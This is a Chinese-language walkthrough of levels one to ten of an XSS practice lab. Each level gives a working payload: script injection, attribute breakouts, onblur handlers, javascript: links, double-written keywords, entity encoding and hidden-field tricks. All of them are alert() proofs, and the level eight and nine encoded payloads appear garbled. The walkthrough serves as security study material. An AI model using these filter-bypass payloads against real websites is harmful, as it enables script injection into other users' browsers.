终极测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
第一关(没有任何过滤)
使用终极测试代码,查看源码
发现没有任何过滤,直接使用javascrupt中的alert弹框
<script>alert('wj')</script>
第二关(闭合方式)
先用终极测试代码,查看源码
<input name=keyword value="<script>alert(/xss/)</script>">
我们要先闭合前面,然后注释掉后面
<input name=keyword value=""><script>alert(/xss/)</script>//">
"><script>alert(/wj/)<script>//
第三关(过滤 < 和 ")
先用终极测试代码,查看源码
value='<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>
IPT>'>
发现< 和 " 被实体化,不能使用,但是我们可以使用Javascript事件。这里使用onblur事件。然后闭合方式是 '
<input name=keyword value=' 'οnblur='alert(/xss/)' ''>
'onblur='alert(/1/)'
第四关(注意闭合方式)
先用终极测试代码,查看源码
发现没有变化
我们尝试第三关的方式,注意:这里的闭关方式是 "
<input name=keyword value=" "οnblur='alert(/1/)' ">
"onblur='alert(/1/)'
第五关(大小写,script,on.)
先用终极测试代码,查看源码
value="<scr<scr_ipt>ipt>oo_nn'"\/(hrhrefef)</scr</script>ipt>"
过滤了大小写,script,on.
javascript 伪协议 a标签要独立运行,所以要闭合前面的<input>标签
value=" "><a href= "javascript:alert(/xss/)">click me</a> "
"><a href = "javascript:alert('wj')">click me</a>
第六关(过滤了on)
先用终极测试代码,查看源码
value="<sCr<ScRiPt>IPT>Oo_nN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>"
过滤了on,
value=""><a href = "javascript:alert('wj')">click me</a>"
"><a hRef = "javascript:alert('wj')">click me</a>
第七关(过滤)
我们用第六关的代码试试
<input name=keyword value=""><a = "java:alert('wj')">click me</a>">
发现href和script被过滤了,我们可以试试双写
<input name=keyword value=" "><scrscriptipt>alert(/xss/)</scrscriptipt>">
"><scrscriptipt>alert(/xss/)</scrscriptipt>
第八关(html编码)
先用终极测试代码,查看源码
value="<scr<script>ipt>oonn'"\/(hrhrefef)</scr</script>ipt>">
发现过滤了大小写,< .所以使用html实体编码。
javascript:alert('wj')
javascript:al
ert('wj')
第九关(格式http://)
使用第八关方式,发现代码不合法。需要使用http://.
javascript:a
lert('wj')//http://
第十关(搜索框被隐藏)
发现没有搜索框,查看源码
发现是使用了hidden,隐藏了
我们可以修改他,让hidden失去作用
<input name="t_sort" value="" οnblur= 'alert(/xss/)' >type="hidden">
onblur='alert(/1/)'>